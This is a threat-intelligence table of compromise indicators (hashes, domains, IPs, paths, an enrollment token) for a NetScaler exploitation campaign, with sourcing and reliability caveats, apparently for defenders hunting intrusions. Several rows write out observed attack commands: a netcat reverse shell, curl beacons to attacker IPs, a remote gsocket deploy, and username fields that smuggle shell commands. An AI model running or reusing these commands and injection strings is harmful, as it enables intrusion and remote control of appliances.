| Build fingerprint | 0.1.0-SNAPSHOT-4b91c7db | TENEX [74] | Newer agent build, compiled 2026-09-28 | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Build fingerprint | 0.1.0-SNAPSHOT-697ffe7c | TENEX [74] | Earlier agent build, compiled 2026-09-08, same operator signing key | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | c98aee75c5e199c9b5527984ce48675d665963f7cab8ce9f2e82465de6b58727 | TENEX [74]; eSentire TRU blog [99] | Platypus agent, freebsd/amd64 (the appliance-relevant build); eSentire TRU Cluster B: the Linux build was UPX-packed, the FreeBSD build unpacked Go; the agent was enrolled against entretiensol.com:443 with token plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj in their incidents | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. Enrollment tokens differ per victim (TENEX); the hash is the durable pivot. | Public blog, no TLP marking |
| SHA-256 | 89b64bd45478e53299f9c422cbba40fac3ac0712b551b85185e38203f7f984c6 | TENEX [74] | Platypus agent, linux/amd64 (current build) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | be5832f3993ff63a36100b2f7b89c8d385e20dd9d72876700e7ade9fb9e6d4cb | TENEX [74] | Platypus agent, UPX-packed Linux x86-64; earlier build | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | 0dcac605a3a0c37001552369a6a77003226b35ddee7710b554fcd0e6809a76d1 | TENEX [74]; Binary Defense ARC Labs [79] | Platypus agent, windows/amd64. Binary Defense (12 Oct) independently recovered a Windows agent from the same C2 (entretiensol.com) as delivered: PE32+ x86-64, UPX 4.22 packed, 5,438,464 bytes - their sample carries the same fork build identity (0.1.0-SNAPSHOT-4b91c7db, built 2026-09-28 21:02 UTC, Ed25519 key S8GEj/Ibzw/...), consistent with this hash being that delivered UPX build, though Binary Defense does not print the hash itself | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. Binary Defense correlation is by build identity, not a printed hash match. | Public blog, no TLP marking |
| SHA-256 | 3754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0 | Binary Defense ARC Labs [79] | Platypus fork Windows agent, unpacked, PE32+ x86-64 Go, 19,414,528 bytes (Binary Defense 12 Oct; fork-only modules internal/agent/rootesc - active privilege escalation via sudo/sudo_gtfo/rootexec/takeover - and internal/agent/selfpersist - covert persistence with watchdog, timestomping and masquerade names such as "System Health Monitor" and healthd). Sandbox run: executed cleanly, Microsoft Defender did not block it, 1 of 65 on VirusTotal at analysis time, 248 TLS + 193 HTTP enrollment attempts to the sinkhole, nothing past enrollment fired | Binary Defense malware-lab hash; the fork is verified against 1,689 public Platypus commits (both modules absent upstream). A rebuild changes the hash - hunt the behavior, not only the hash. | Public blog, no TLP marking |
| SHA-256 | 04db3fc44c81886844ef47949d7f352953a6bf1be4866be1fb3e7e12c452e3ac | TENEX [74] | Platypus agent, darwin/arm64 | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | 2d2c2f6842982f7e1cb894ce915d39f2a9861009c7ecb1b90da803f2c3c608f4 | TENEX [74] | Platypus agent, linux/amd64 unpacked (more stable than the packed hashes) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| HTTP request | POST /api/v1/agents/enroll with Content-Type application/x-protobuf-platypus-v2 | TENEX [74] | Platypus agent enrollment; the content type is highly distinctive | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| URI path | /api/v1/agent/link | TENEX [74] | Platypus WebSocket tasking channel over mutual TLS | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Network fingerprint | _platypus-mesh._tcp (mDNS, UDP/5353) | TENEX [74] | LAN peer discovery in cleartext; the easiest way to find a second infected host on the same segment | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| User-Agent | platypus-agent/public-ip-probe | TENEX [74] | Platypus agent public-IP probe | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File path | /netscaler.local/ | TENEX [74] | Operator-created binary directory, not part of the stock NetScaler layout | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File name | ns_*.pl | TENEX [74] | Agent renamed as a NetScaler-style Perl script; the number is per install, so hunt the pattern and check content | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File path | /var/core/.ns-cache/ (client.crt, client.key, agent.lock, state.db) | TENEX [74] | Agent working directory; the client certificate and key exist only if enrollment completed, and they survive a firmware upgrade | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Username | scanner-probe | TENEX [74] | Submitted to the authentication virtual server for reconnaissance just before the injection attempts | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File path | /.x | TENEX [74] | Stager written by the injected shell-loader command and then run with sh | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 199.233.217.13 | TENEX [74]; Rapid7 [86] | Check-in over TCP/8080 (/hi, /hi/<ip>) and a netcat reverse shell to TCP/8000 (TENEX opportunistic wave). Rapid7's incident analysis lists the same address in its network indicators as payload delivery | Now multi-source: TENEX plus first-hand Rapid7 IR. | Public blog, no TLP marking |
| IPv4 | 130.94.20.222 | TENEX [74]; Rapid7 [86] | Silent beacon to :8888/c/<hex> (TENEX opportunistic wave). Rapid7's incident analysis lists the same address in its network indicators as payload delivery | Now multi-source: TENEX plus first-hand Rapid7 IR. | Public blog, no TLP marking |
| Command | nc 199.233.217.13 8000 -e /bin/sh | TENEX [74] | Netcat reverse shell | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | curl http://199.233.217.13:8080/hi/ | TENEX [74] | Attacker check-in to fresh infrastructure | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | curl -m 8 -sk http://130.94.20.222:8888/c/<hex> -o /dev/null | TENEX [74] | Silent beacon that confirms reachability without saving output | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | bash -c $(curl -fsSL https://gsocket.io/y) | TENEX [74] | One-line Global Socket Toolkit deploy with an S=<hex> key. gsocket.io is a legitimate service abused here, so do not block the domain | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | whoami; id>/netscaler/ns_gui/vpn/id009.txt; id>/netscaler/ns_gui/id009.txt | TENEX [74] | Execution check that writes id output to a web-readable appliance path | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| File path | /var/tmp/watchTowr | watchTowr Detection Artefact Generator [58] | README example output path of the CVE-2026-88771 detection tool (id>/var/tmp/watchTowr) | Test marker from a public watchTowr detection tool (README example path). A hit means someone ran the tool, possibly a defender, not necessarily an attacker. The operator can choose any path. | Public GitHub repository, no TLP marking |
| File path | /tmp/watchTowr | watchTowr Detection Artefact Generator [60] | README example output path of the CVE-2026-88772 (DTLS) detection tool; the example writes a 7-byte file | Test marker from a public watchTowr detection tool (README example path). A hit means someone ran the tool, possibly a defender, not necessarily an attacker. The operator can choose any path. | Public GitHub repository, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;printf wt88771mbw9drneqklf>/var/netscaler/logon/themes/wt88771mbw9drneqklf.txt;# X | r/Citrix [170] | Injected username that writes a marker file into the logon themes directory (execution test) | Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. | Public Reddit comment |
| File path | /var/netscaler/logon/themes/wt88771mbw9drneqklf.txt | r/Citrix [170] | Marker file created by the command above; hunt for wt88771*.txt under /var/netscaler/logon/themes/ | Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. | Public Reddit comment |
| Log string | pitboss PPE unexpectedly died NSPPE;wget http://31.56.197.72:9090/lula;# X | r/Citrix [170]; LevelBlue SpiderLabs (THOR team) [82] | Payload retrieval from 31.56.197.72, also described by LevelBlue; the same host appears in the Arctic Wolf and TENEX data | Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. The wget line itself matches LevelBlue's published example. | Public Reddit comment |
| IPv4 | 213.209.159.55 | Beaumont, Oct 2 19:01 UTC [128]; VirusTotal [112]; Poppelgaard [75]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; Rapid7 [86] | Named as the payload server in screenshots of a write-up attached to the Beaumont post (author not named): crafted SAML-factor usernames on two 14.1-73.37 appliances made them fetch a payload from it over plain HTTP on TCP 443 (paths under /t/), save it as /v and run it, just before each crash. The Poppelgaard checker calls it the exfiltration host of the SAML-attack dropper "380d56" (2 Oct, community analysis). A VirusTotal community comment also says a Perl payload related to NetScaler exploits is hosted on this IP. Beazley Security's IoC table (4 Oct) publicly lists it as "Exploit and payload delivery". Rapid7's October incident analysis now vendor-confirms the address from a real compromise as the stage server that delivered /v and 1.sh/17447d.sh and collected staged data. AS208137, Feo Prest SRL, Germany. | The write-up itself said it showed exploitation attempts and correlated crashes, not confirmed command execution - Rapid7's IR has now closed that gap with first-hand evidence. The payload-vs-exfiltration role differs between the earlier sources; Beazley's table confirms both roles. Either role means an infected appliance would connect out to this host, so it is kept in this site's IPv4 edge blocklist as defence in depth. | Public Mastodon post (screenshots) |
| SHA-256 | b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63 | VirusTotal [112] | Perl script (24.57 KB), first submitted to VirusTotal on 2 Oct at 17:29 UTC. THOR (Nextron) commented a Valhalla rule match, MAL_EXPL_CVE_2026_88771_Oct26 (detects a CVE-2026-88771 post-exploitation script), and a community comment says it is a NetScaler exploit payload hosted on 213.209.159.55. Re-checked 3 Oct 16:14 UTC: 4 of 75 engines flag it (UDS:Backdoor.Win32.Tofsee, Win32.Hack.Tofsee.a, Backdoor.Perl!9.85243, Kaspersky HEUR:Backdoor/Perl.WebShell.b) | Still the weaker of the two payloads: four heuristic/backdoor labels, no engine names the NetScaler campaign, and no public report ties this hash to f.pylrk.cc or the Sliver implant - it came from a different delivery host (213.209.159.55). The file content was not reviewed here, and no vendor report names it. | Public VirusTotal page |
| SHA-256 | 0188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027 | External malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76] | Sliver C2 implant built for FreeBSD (the OS under NetScaler): statically linked stripped Go ELF64, 8,822,784 bytes, MD5 117ba08492fe68726dae74b40d375c28. Served over HTTPS from f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host (HTTP/2 200, application/octet-stream, Cloudflare-fronted; re-verified live 3 Oct). Hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 (reverse shell/tunnel), spoofed Chrome 108/Windows User-Agent for its own beacons, no embedded IP. VT filenames include /var/tmp/.host, /private/var/tmp/.host and citrix3.bad - appliance deployment paths. 31 of 75 engines on VirusTotal (3 Oct 14:25 UTC), all Sliver/Vilers-family labels; first submitted 2 Oct 11:49 UTC. A TLP:CLEAR malware analysis report (2 Oct) ties it to CVE-2026-88771 exploitation of a NetScaler Gateway, corroborated by an Expel IR observation; Expel reported netcat-style reverse callbacks in the same campaign. Beazley Security's 4 Oct analysis adds: implant named Pylrkfbsd, connects to www.pylrk.cc over HTTPS with fallback to HTTP on port 80, first-connection registration reports the appliance hostname, a MAC-address-derived unique ID, running account, process ID and file path, encrypts traffic with a new key per session, accepts task/tunnel/settings/shutdown commands, and retries up to 1,000 times. | Vendor-independent: an external team's static analysis (sample not executed), plus Expel corroboration and Beazley IR - strong for this campaign, but not a vendor or CERT publication. Detection labels are all Sliver/Vilers; the FreeBSD build and pylrk.cc C2 are what tie it here. Cloudflare fronts the delivery host, so block the domain and hash, not the IPs. | Public VirusTotal page and TLP:CLEAR report |
| URL path | /HaKi2ufpiQ8AeVTZ/host | External malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113] | Delivery path of the FreeBSD Sliver implant on f.pylrk.cc:443 (HTTPS, HTTP/2 200, application/octet-stream, 8,822,784 bytes); live and unchanged 3 Oct, per the TLP:CLEAR malware analysis report and re-verified directly | Path is random-looking and may rotate; hunt it in proxy logs together with the f.pylrk.cc hostname. A negative result proves nothing - the file may be served from other paths. | Public VirusTotal page and TLP:CLEAR report |
| File path | /var/tmp/.host (and /private/var/tmp/.host) | External malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113]; Poppelgaard [75] | Filename VT records for the FreeBSD Sliver implant, consistent with deployment on a NetScaler/FreeBSD appliance; citrix3.bad is another recorded name. Per checker v1.13: citrix3.bad and an executable /var/tmp/.host are flagged as compromise; any other /var/tmp/.host only as a [CHECK] | From VT filename metadata and the external report, not from IR on a victim appliance. A hit on the executable variant: preserve the file and investigate and correlate before concluding compromise. A missing file does not rule out compromise. /tmp and /var/tmp clear on reboot. | Public VirusTotal page and TLP:CLEAR report |
| Domain | pylrk.cc | Poppelgaard [80]; Poppelgaard [75]; Beaumont, Oct 2 19:01 UTC [128]; External malware analysis report (TLP:CLEAR, 2 Oct) [81] | C2 and payload-delivery domain: registered 2 Oct 06:56 UTC (NameSilo, Cloudflare NS). Poppelgaard reported it as a download server seen in attack attempts on 2 Oct (article and checker release 1.11). The FreeBSD Sliver implant served from f.pylrk.cc carries a hardcoded C2 reference to https://www.pylrk.cc and resolves its C2 via this domain (TLP:CLEAR malware analysis report, corroborated by Expel). The write-up screenshotted in the Beaumont post spells it *.pyrlink.cc in an edit ("Block that too"), but that domain is not registered; the screenshots also do not name the delivery host, so the two spellings may describe the same host. The checker v1.11 list also carried pyrlnk.cc, a third unregistered spelling; Poppelgaard removed it in v1.12 as a misspelling of pylrk.cc (issue #3, credited to PitScaler), leaving pylrk.cc as the only registered spelling. Passive DNS shows f.pylrk.cc A records from 2 Oct 11:50 UTC on Cloudflare proxy IPs (104.21.30.48 / 172.67.150.149); www.pylrk.cc also resolves there, the apex has no A record. Re-checked live 3 Oct. | Malware-role now multi-source (checker, MAR, Expel corroboration, embedded C2 string in the implant). VirusTotal: 1 of 91 engines flags the apex and f.pylrk.cc - weak as always on fresh infrastructure. The spelling *.pyrlink.cc from the screenshots is unregistered. Cloudflare-fronted: block the domain name, not the resolved IPs (shared with millions of sites). | Public blog, GitHub release and TLP:CLEAR report |
| Domain | f.pylrk.cc | External malware analysis report (TLP:CLEAR, 2 Oct) [81]; VirusTotal [113] | Payload-delivery subdomain of pylrk.cc: served the FreeBSD Sliver implant (8,822,784 bytes) at /HaKi2ufpiQ8AeVTZ/host over HTTPS, per the TLP:CLEAR malware analysis report (2 Oct, corroborated by Expel). First seen in passive DNS 2 Oct 11:50 UTC on Cloudflare proxy IPs; Let's Encrypt certificate CN=pylrk.cc issued 2 Oct 06:01 UTC; still serving 3 Oct (re-verified). Root path returns a minimal placeholder page (<h1>c</h1><p>ok</p>). | Multi-source and independently verifiable, but vendor-independent - not a vendor or CERT publication. Cloudflare-fronted: block the hostname, never the proxy IPs. Subdomains under pylrk.cc may rotate; hunt *.pylrk.cc in DNS logs rather than this single host. | Public VirusTotal page and TLP:CLEAR report |
| File path | /nsconfig/.nsl and /var/nslog/.nsl | Previdian (@PrevidianCyber) [77]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; External malware analysis report (TLP:CLEAR, 2 Oct) [81] | Drop paths for the installer script Previdian reports being dropped on their NetScaler sensors during CVE-2026-88771 exploitation attempts; the script retrieves the 'host' ELF (the FreeBSD Sliver implant, hash 0188b0eb...) from f.pylrk.cc and persistence via rc.netscaler matches the SAML-attack kit already documented here. Beazley Security lists a Sliver download script (SHA-256 c2f5532f..., below) whose behaviour matches: it fetches https://f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host, writes it to /nsconfig/.nsl (fallback /var/nslog/.nsl), chmod 755, launches it with nohup and appends a re-exec line to /nsconfig/rc.netscaler; it also drops a system-info page at /var/netscaler/logon/LogonPoint/ns_ctx.html (uname -srm output) | Single-source sensor observation (Previdian, 5 Oct, unverified by others); the Beazley hash independently confirms the same drop-path behaviour. A missing file proves nothing - these are checked by the checker's compromise sweep anyway; hunt them as secondary confirmation paths. | Public post, no TLP marking |
| SHA-256 | c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34 | Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [76]; External malware analysis report (TLP:CLEAR, 2 Oct) [81]; Previdian (@PrevidianCyber) [77] | Sliver download script (Beazley Security, BSL-A1216: "Sliver download script", attribution Analysis). Shell script: fetches the FreeBSD Sliver implant from https://f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host to /nsconfig/.nsl (fallback /var/nslog/.nsl), chmod 755, launches it via nohup, appends a nohup re-exec line to /nsconfig/rc.netscaler for persistence, and writes uname -srm output to /var/netscaler/logon/LogonPoint/ns_ctx.html. VirusTotal (6 Oct): shell script, 6 of 75 engines (Linux/TrojanDownloader.SH.GWZ, UDS:Trojan.Shell.SBadur.gen, Agent5.DPN, Win32.Troj.Undef.a, Trojan:Script/Wacatac.B!ml). VT report: https://www.virustotal.com/gui/file/c2f5532f3209dce0bd30ead47a2616a74ce8170324ef68dfd59acac3f5f1da34 | Behaviour independently ties it to the f.pylrk.cc delivery chain and the /nsconfig/.nsl drop paths Previdian reported; attribution is Beazley IR (relayed via their public advisory). Low VT score is normal for a two-line downloader. | Public advisory |
| SHA-256 | 74da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78b | Poppelgaard [75] | Payload hash from the 2 Oct SAML-attack wave, relayed via Gotham Technology Group (ThreatUnpacked, r/Citrix and Valhalla sources; compiled in the Poppelgaard checker v1.12 as GK_HASHES; checked in the web, Gateway plugin/media folders, /nsconfig/.slap and /var/tmp/.ux). The checker groups these 11 hashes as: the downloaded /v script of the 2 Oct attack, SAML-attack kit generations 2 and 3, the chisel tunnel, Sliver implants and a Perl payload. VirusTotal (7 Oct): shell script, 3 of 75 engines malicious (analysis 6 Oct). VT report: https://www.virustotal.com/gui/file/74da9485815ee124e2ebe155dbcfb758b54bd97760956998abf64838c865f78b | Community-sourced compilation via Gotham; the checker does not name which file each hash is, and no vendor report has confirmed them individually. Weak-to-moderate VT scores. Match on content, not name. | Public GitHub repository, no TLP marking |
| SHA-256 | ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eee | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 5 of 75 engines (UDS:Backdoor.Win32.Tofsee, HEUR:Backdoor/Perl.WebShell.b, Win32.Hack.Tofsee.a, Trojan:Script/Wacatac.B!ml). VT report: https://www.virustotal.com/gui/file/ec6d42cc99e3c7870dc11606643e8b296e4aadafaf886f05506e1f515aa55eee | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0 | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/12b15fe585a21d33eeb863fc5a246596225a77185a314d55de3c980bbe11e9c0 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 83307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3 | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/83307fb218b557a0a1cab46e094b038f9b795d2d02bd04ac7ce4e0d3eb4ec8c3 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 2 Oct). VT report: https://www.virustotal.com/gui/file/b9bc8d87ef77f63082445f5664e02a84db568f6d8147e077b97dc15df9f2a36b | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 12ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731a | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/12ff1448594844ffe072674e4da36c2bb92bce19bfdf494bcae0542ce6e1731a | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dc | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/d04663bdab3183c94381d19eec7af59f90890497d5ad95c7af1c00d0fe8901dc | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 0a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447 | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 3 of 75 engines (analysis 6 Oct). VT report: https://www.virustotal.com/gui/file/0a7f88a74e82725e8ceaf9aa0b25b43c43105ff7653b29a0cbba94ce40b04447 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3 | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 4 of 75 engines (analysis 7 Oct). VT report: https://www.virustotal.com/gui/file/602b859d38c02c559f62e5c6f7ba30265b2ffd7faf528a3b0151727c7a1dc2d3 | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cd | Poppelgaard [75] | GK_HASHES hash (Poppelgaard checker v1.12 via Gotham Technology Group), same 2 Oct SAML-attack group. VirusTotal (7 Oct): shell script, 1 of 75 engines (HEUR:Backdoor/Perl.WebShell.b; analysis 3 Oct). VT report: https://www.virustotal.com/gui/file/899299dcaa6531e450cfc844f7948bc3180c6cbebc43cf751e65ee261f6732cd | Community-sourced hash relayed via Gotham Technology Group, compiled in the Poppelgaard checker; no vendor report confirms the hash individually, the checker does not name which file it is, and the VT score is weak evidence. A hit means a file with this hash was present: preserve the file and investigate and correlate the finding (mtime, path, surrounding log activity) before concluding compromise. | Public GitHub repository, no TLP marking |
| SHA-256 | 84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0a | Poppelgaard [75] | Chisel tunnel binary of the 2 Oct SAML-attack group (GK_HASHES, Poppelgaard checker v1.12 via Gotham Technology Group). VirusTotal (7 Oct): ELF, 16 of 75 engines - the strongest of the eleven (Unix.Tool.HTTPTunnel, Linux/HackTool.Chisel.V, ELF:Chisel-G [PUP], score 99); analysis 1 Oct. VT report: https://www.virustotal.com/gui/file/84f23d964ab636c81d95c3185f06a2ec628a9762dc767131d775500caf8dda0a | Chisel is a legitimate open-source HTTP tunnel also used by pentesters; the ELF label names the tool family, not the actor. Its presence in this group ties it to the campaign, but a chisel binary alone is not proof of compromise. | Public GitHub repository, no TLP marking |
| IP range | 138.199.60.0/24 (Huntback decoys .22/.36 and Gotham crash payloads from .5 known individually; full /24 is a hunting lead) | Poppelgaard [75] | Per Gotham Technology Group (5 Oct, shared with permission, carried in checker v1.13): the hosting/VPN range used throughout the SAML attack - CVE-2026-88779 crash payloads from .5, near-daily SAML POSTs since 19 Sep without a successful sign-in, and webshell polling from .22/.36. The checker hunts the whole /24 as a [CHECK] hunting lead only (shared hosting/VPN space, never red on its own), while .5, .22 and .36 are listed individually as attacker/decoy IPs | Range-level hunting lead: shared hosting and VPN space, so individual hosts in it may be benign. Correlate what was requested and whether any sign-in succeeded before acting on other addresses in the range. | Public GitHub repository, no TLP marking |
| IP range | Password-spray sources: 138.226.239.0/24, 185.136.15.0/24, 77.91.71.0/24, 93.152.219.115 | Poppelgaard [75] | Password-spray source ranges seen against a Gateway on 27 Sep (Gotham, via the Poppelgaard checker v1.11); the checker counts failed logins from these ranges as targeted | Hunting lead: failed logins from cloud/ISP ranges are constant background noise on any public Gateway - the ranges alone are not compromise evidence. Correlate with campaign indicators before acting; do not block the ranges on this alone. | Public GitHub repository, no TLP marking |
